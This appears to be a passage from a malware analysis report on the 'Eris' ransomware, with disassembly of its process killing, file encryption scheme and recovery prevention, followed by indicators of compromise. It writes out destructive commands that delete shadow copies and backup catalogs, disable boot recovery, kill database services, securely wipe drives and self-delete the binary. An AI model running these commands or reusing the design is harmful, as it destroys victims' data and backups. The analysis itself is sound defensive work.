0x0053d102 call fcn.syscall___LazyProc_.Call
0x0053d107 mov eax, dword [var_10h]
If any of the running processes name contain any of the strings below, it is killed.
- sql
- backup
- malware
- server
- http
- apache
- agent
Code for killing the processes:
0x005fecdc mov ecx, dword [slice_procs]
0x005fece3 cmp edx, ecx
0x005fece5 jge 0x5fe90b
0x005feceb mov dword [var_d4h], edx
0x005fecf2 lea ecx, [eax + edx*8]
0x005fecf5 mov ebx, dword [ecx]
0x005fecf7 mov dword [var_a4h], ebx
0x005fecfe mov ecx, dword [ecx + 4]
0x005fed01 mov dword [var_150h], ecx
0x005fed08 mov ebp, dword [ebx + 0x10]
0x005fed0b mov dword [esp], ecx
0x005fed0e call ebp
0x005fed10 mov eax, dword [var_4h]
0x005fed14 mov ecx, dword [var_8h]
0x005fed18 mov dword [esp], eax
0x005fed1b mov dword [var_4h], ecx
0x005fed1f mov eax, dword [0x874b38] ; List of strings
0x005fed25 mov ecx, dword [0x874b3c] ; 7
0x005fed2b mov edx, dword [0x874b40] ; 7
0x005fed31 mov dword [var_8h], eax
0x005fed35 mov dword [var_ch], ecx
0x005fed39 mov dword [var_10h], edx
0x005fed3d call fcn.Eris_Utils.Contains
0x005fed42 movzx eax, byte [var_14h]
0x005fed47 test al, al
0x005fed49 je 0x5feccb
0x005fed4b mov eax, dword [var_a4h]
0x005fed52 mov eax, dword [eax + 0x18]
0x005fed55 mov ecx, dword [var_150h]
0x005fed5c mov dword [esp], ecx
0x005fed5f call eax
0x005fed61 nop
0x005fed62 mov eax, dword [var_4h]
0x005fed66 mov dword [esp], eax
0x005fed69 call fcn.os.findProcess
0x005fed6e mov eax, dword [var_4h]
0x005fed72 mov ecx, dword [var_8h]
0x005fed76 test ecx, ecx
0x005fed78 jne 0x5feccb
0x005fed7e nop
0x005fed7f nop
0x005fed80 nop
0x005fed81 mov ecx, dword [0x874a48]
0x005fed87 mov edx, dword [0x874a4c]
0x005fed8d mov dword [esp], eax
0x005fed90 mov dword [var_4h], ecx
0x005fed94 mov dword [var_8h], edx
0x005fed98 call fcn.os___Process_.signal
Release of IP address
If the username ends with $, the IP address for the machine is released:
0x005fe90b lea eax, [0x67505a] ; "USERNAME"
0x005fe911 mov dword [esp], eax
0x005fe914 mov dword [var_4h], 8
0x005fe91c call fcn.os.Getenv
0x005fe921 mov eax, dword [var_8h]
0x005fe925 mov ecx, dword [var_ch]
0x005fe929 lea edx, [ecx - 1]
0x005fe92c cmp edx, ecx
0x005fe92e ja 0x5ff6a5
0x005fe934 mov dword [username_str], eax
0x005fe93b sub ecx, edx
0x005fe93d mov dword [username_str_len], ecx
0x005fe944 mov ebx, ecx
0x005fe946 neg ecx
0x005fe948 sar ecx, 0x1f
0x005fe94b and edx, ecx
0x005fe94d mov dword [var_d0h], edx
0x005fe954 cmp ebx, 1
0x005fe957 jne 0x5fe966
0x005fe959 movzx ecx, byte [edx + eax]
0x005fe95d cmp cl, 0x24 ; "$"
0x005fe960 je 0x5fec2d
...
0x005fec2d mov dword [var_190h], 0
0x005fec38 mov dword [var_194h], 0
0x005fec43 lea eax, sym.type.string
0x005fec49 mov dword [var_190h], eax
0x005fec50 lea ecx, [0x6cecb0] ; "ipconfig /release"
0x005fec56 mov dword [var_194h], ecx
0x005fec5d lea ecx, [0x674630] ; "/C %s"
0x005fec63 mov dword [esp], ecx
0x005fec66 mov dword [var_4h], 5
0x005fec6e lea edx, [var_190h]
0x005fec75 mov dword [var_8h], edx
0x005fec79 mov dword [var_ch], 1
0x005fec81 mov dword [var_10h], 1
0x005fec89 call fcn.fmt.Sprintf
0x005fec8e mov eax, dword [var_14h]
0x005fec92 mov ecx, dword [var_18h]
0x005fec96 lea edx, [0x674d1b] ; "cmd.exec"
0x005fec9c mov dword [esp], edx
0x005fec9f mov dword [var_4h], 7
0x005feca7 mov dword [var_8h], eax
0x005fecab mov dword [var_ch], ecx
0x005fecaf call fcn.Eris_Utils.Execute
0x005fecb4 jmp 0x5fe966
Encrypting files
The malware walks all the disks and encrypts the files. It can perform this process “multithreaded” if a command line flag is given. In this case, it uses one Go routine for each drive. The malware skips any folders containing the following strings:
- windows
- windows.old
- system volume information
- $recycle.bin
- program files
- program files (x86)
- programdata
- i386
- amd64
- sysvol
It also skip the following files:
- autoexec.bat
- boot.ini
- ntdetect.com
- msdos.sys
- io.sys
- pagefile.sys
- ntldr
- config.sys
- ntuser.dat
If the file has _FLAG_ENCRYPTED_
at the end of the file, it is skipped.
Eris overwrites and deletes backup files with the following file extensions:
$$$, $db, 001, 001, 002, 003, 113, 73b, __a, __b, ab, aba, abbu, abf, abk, abu, abu1, acp, acr, adi, adi, aea, afi, arc, arc, as4, asd, ashbak, asv, asvx, ate, ati, ba6, ba7, ba8, bac, backup, backupdb, bak, bak, bak, bak, bak, bak2, bak3, bakx, bak~, bbb, bbz, bck, bckp, bcm, bdb, bff, bif, bifx, bk1, bk1, bkc, bkf, bkp, bkp, bkup, bkz, blend1, blend2, bm3, bmk, bookexport, bpa, bpb, bpm, bpn, bps, bup, bup, caa, cbk, cbs, cbu, cenon~, ck9, cmf, crds, csd, csm, da0, dash, dba, dbk, dbk, dim, diy, dna, dov, dpb, dsb, dss, fbc, fbf, fbk, fbk, fbu, fbw, fh, fhf, flka, flkb, fpsx, ftmb, ful, fwbackup, fza, fzb, gb1, gb2, gbp, gho, ghs, gs-bck, ibk, icbu, icf, inprogress, ipd, iv2i, j01, jbk, jdc, jpa, jps, kb2, lbf, lcb, llx, mbf, mbk, mbw, mdbackup, mddata, mdinfo, mem, mig, mpb, msim, mv_, mynotesbackup, nb7, nba, nbak, nbd, nbd, nbf, nbf, nbi, nbk, nbk, nbs, nbu, nco, nda, nfb, nfc, noy, npf, nps, nrbak, nrs, nwbak, obk, oeb, old, onepkg, ori, orig, oyx, paq, pba, pbb, pbd, pbf, pbf, pbj, pbx5script, pbxscript, pdb, pfi, pqb, pqb-backup, prv, psa, ptb, pvc, pvhd, qba.tlg, qbb, qbk, qbm, qbmb, qbmd, qbx, qic, qsf, qualsoftcode, quicken2015backup, quicken2016backup, quicken2017backup, quickenbackup, qv~, rbc, rbf, rbf, rbf, rbk, rbs, rdb, rgmb, rmbak, rrr, safenotebackup, sav, sbb, sbs, sbu, sdc, sim, sis, skb, sme, sn1, sn2, sna, sns, spf, spg, spi, sps, sqb, srr, stg, sv$, sv2i, tbk, tdb, tibkp, tib, tig, tis, tlg, tmp, tmp, tmr, trn, ttbk, uci, v2i, vbk, vbm, vbox-prev, vpcbackup, vrb, w01, walletx, wbb, wbcat, wbk, win, win, wjf, wpb, wspak, wx, xbk, xlk, yrcbck, zbfx, ~cw, vib, vkb
For each file a key is generated using PBKDF2. A random password is used with
the salt of [0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8]
and 1000 iterations. The key is
encrypted with the victim’s public key:
0x0053fc13 mov ecx, dword [0x87a654] ; rngReader from crypto/rand package
0x0053fc19 mov edx, dword [0x87a650]
0x0053fc1f mov dword [esp], edx
0x0053fc22 mov dword [var_4h], ecx
0x0053fc26 mov dword [var_8h], eax
0x0053fc2a mov dword [var_ch], 0x20 ; 32
0x0053fc32 mov dword [var_10h], 0x20 ; 32
0x0053fc3a mov dword [var_14h], 0x20 ; 32
0x0053fc42 call fcn.io.ReadAtLeast
0x0053fc47 nop
0x0053fc48 lea eax, sym.type._8_uint8
0x0053fc4e mov dword [esp], eax
0x0053fc51 call fcn.runtime.newobject
0x0053fc56 mov eax, dword [var_4h]
0x0053fc5a mov ecx, dword [0x6ce388]
0x0053fc60 mov edx, dword [0x6ce38c]
0x0053fc66 mov dword [eax], ecx
0x0053fc68 mov dword [eax + 4], edx
0x0053fc6b mov ecx, dword [var_12ch]
0x0053fc72 mov dword [esp], ecx
0x0053fc75 mov dword [var_4h], 0x20
0x0053fc7d mov dword [var_8h], 0x20
0x0053fc85 mov dword [var_ch], eax
0x0053fc89 mov dword [var_10h], 8
0x0053fc91 mov dword [var_14h], 8
0x0053fc99 mov dword [var_18h], 0x3e8 ; 1000
0x0053fca1 mov dword [var_1ch], 8
0x0053fca9 lea eax, [0x68ae74]
0x0053fcaf mov dword [var_20h], eax
0x0053fcb3 call fcn.golang.org_x_crypto_pbkdf2.Key
0x0053fcb8 mov eax, dword [var_24h]
0x0053fcbc mov dword [var_108h], eax
0x0053fcc3 mov ecx, dword [var_2ch]
0x0053fcc7 mov dword [var_34h], ecx
0x0053fccb mov edx, dword [var_28h]
0x0053fccf mov dword [var_30h], edx
0x0053fcd3 mov ebx, dword [var_12ch]
0x0053fcda mov dword [esp], ebx
0x0053fcdd mov dword [var_4h], 0x20
0x0053fce5 mov dword [var_8h], 0x20
0x0053fced mov ebp, dword [arg_13ch]
0x0053fcf4 mov dword [var_ch], ebp
0x0053fcf8 mov ebp, dword [arg_140h]
0x0053fcff mov dword [var_10h], ebp
0x0053fd03 mov ebp, dword [arg_144h]
0x0053fd0a mov dword [var_14h], ebp
0x0053fd0e call fcn.Eris_Cryptography.RSAEncrypt
The file is encrypted with Salsa20 using the generated key for the file.
=== Preventing recovery ===
After encryption of the files, the following commands are executed:
taskkill.exe /f /im mysqld.exe
taskkill.exe /f /im sqlwriter.exe
taskkill.exe /f /im sqlserver.exe
taskkill.exe /f /im MSExchange*
taskkill.exe /f /im Microsoft.Exchange.*
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
wbadmin delete catalog -quiet
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
Code for executing the commands:
0x005fe9a6 xor eax, eax
0x005fe9a8 jmp 0x5fea59
0x005fe9ad mov dword [var_cch], eax
0x005fe9b4 lea ecx, [esp + eax*8 + 0x200]
0x005fe9bb mov edx, dword [ecx]
0x005fe9bd mov ecx, dword [ecx + 4]
0x005fe9c0 mov dword [esp], edx
0x005fe9c3 mov dword [var_4h], ecx
0x005fe9c7 call fcn.runtime.convTstring
0x005fe9cc mov eax, dword [var_8h]
0x005fe9d0 mov dword [var_190h], 0
0x005fe9db mov dword [var_194h], 0
0x005fe9e6 lea ecx, sym.type.string
0x005fe9ec mov dword [var_190h], ecx
0x005fe9f3 mov dword [var_194h], eax
0x005fe9fa lea eax, [0x674630] ; "/C %s"
0x005fea00 mov dword [esp], eax
0x005fea03 mov dword [var_4h], 5
0x005fea0b lea edx, [var_190h]
0x005fea12 mov dword [var_8h], edx
0x005fea16 mov dword [var_ch], 1
0x005fea1e mov dword [var_10h], 1
0x005fea26 call fcn.fmt.Sprintf
0x005fea2b mov eax, dword [var_14h]
0x005fea2f mov ecx, dword [var_18h]
0x005fea33 lea edx, [0x674d1b] ; "cmd.exe"
0x005fea39 mov dword [esp], edx
0x005fea3c mov dword [var_4h], 7
0x005fea44 mov dword [var_8h], eax
0x005fea48 mov dword [var_ch], ecx
0x005fea4c call fcn.Eris_Utils.Execute
0x005fea51 mov eax, dword [var_cch]
0x005fea58 inc eax
0x005fea59 cmp eax, 0xa ; 10
0x005fea5c jl 0x5fe9ad
For each drive letter, the malware executes /C cipher /W:%DRIVE_LETTER%:
to
perform a secure wipe.
0x005fea62 call fcn.Eris_Utils.GetDrive
0x005fea67 mov eax, dword [esp]
0x005fea6a mov dword [var_16ch], eax
0x005fea71 mov ecx, dword [var_4h]
0x005fea75 mov dword [var_bch], ecx
0x005fea7c xor edx, edx
0x005fea7e jmp 0x5feb54
0x005fea83 mov dword [var_cch], edx
0x005fea8a mov dword [esp], ebp
0x005fea8d mov dword [var_4h], 1
0x005fea95 call fcn.strings.ToUpper
0x005fea9a mov eax, dword [var_8h]
0x005fea9e mov ecx, dword [var_ch]
0x005feaa2 mov dword [esp], eax
0x005feaa5 mov dword [var_4h], ecx
0x005feaa9 call fcn.runtime.convTstring
0x005feaae mov eax, dword [var_8h]
0x005feab2 mov dword [var_190h], 0
0x005feabd mov dword [var_194h], 0
0x005feac8 lea ecx, sym.type.string
0x005feace mov dword [var_190h], ecx
0x005fead5 mov dword [var_194h], eax
0x005feadc lea eax, [0x6775d1] ; "/C cipher /W:%s:"
0x005feae2 mov dword [esp], eax
0x005feae5 mov dword [var_4h], 0x10
0x005feaed lea edx, [var_190h]
0x005feaf4 mov dword [var_8h], edx
0x005feaf8 mov dword [var_ch], 1
0x005feb00 mov dword [var_10h], 1
0x005feb08 call fcn.fmt.Sprintf
0x005feb0d mov eax, dword [var_14h]
0x005feb11 mov ecx, dword [var_18h]
0x005feb15 lea edx, [0x674d1b] ; "cmd.exe"
0x005feb1b mov dword [esp], edx
0x005feb1e mov dword [var_4h], 7
0x005feb26 mov dword [var_8h], eax
0x005feb2a mov dword [var_ch], ecx
0x005feb2e call fcn.Eris_Utils.Execute
Self-removal
Finally the malware spawns a new process and exits. The spawned process first pings localhost to create a delay before it deletes the malware’s binary file.
%WINDIR%\system32\cmd.exe /C ping 127.0.0.1 -n 3 > NUL && del /Q /F "%ERIS_FILE%"
IOCs
Pay panel
- epaybfvlutydks6fpfwtwoe2fsph6vve2obgv6qbhyuqwkecbhsf7nyd.onion
C2
- d9d120a3.ngrok.io
Hashes
- 2c7f9fbfd5421406bc88b62a70a570eada14d4a561689125dc8f3ef30e3afc91
- 33f54f227c26c5abdbe5e0f994082d5b89e1df145deef703948aeb268637d9ba
- 35fb8b1f9966d7d371cb4d513e3d63655c2357be8ef156850fe8927b13007c9e
- 48da454be70e5f12c359965cfb55cbe5f272ddc378ae9f08876faf1b510c21b6
- 99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692
- d0d6fdd6ce8eccf722c8ee72485ae96c2fe0e2fe9e451c94454f1e8be9d9283b
- dcdf47ddca1c5f4f9bdd8528bc3e22031fbfd326ad0b4abc11e153bbd79363ec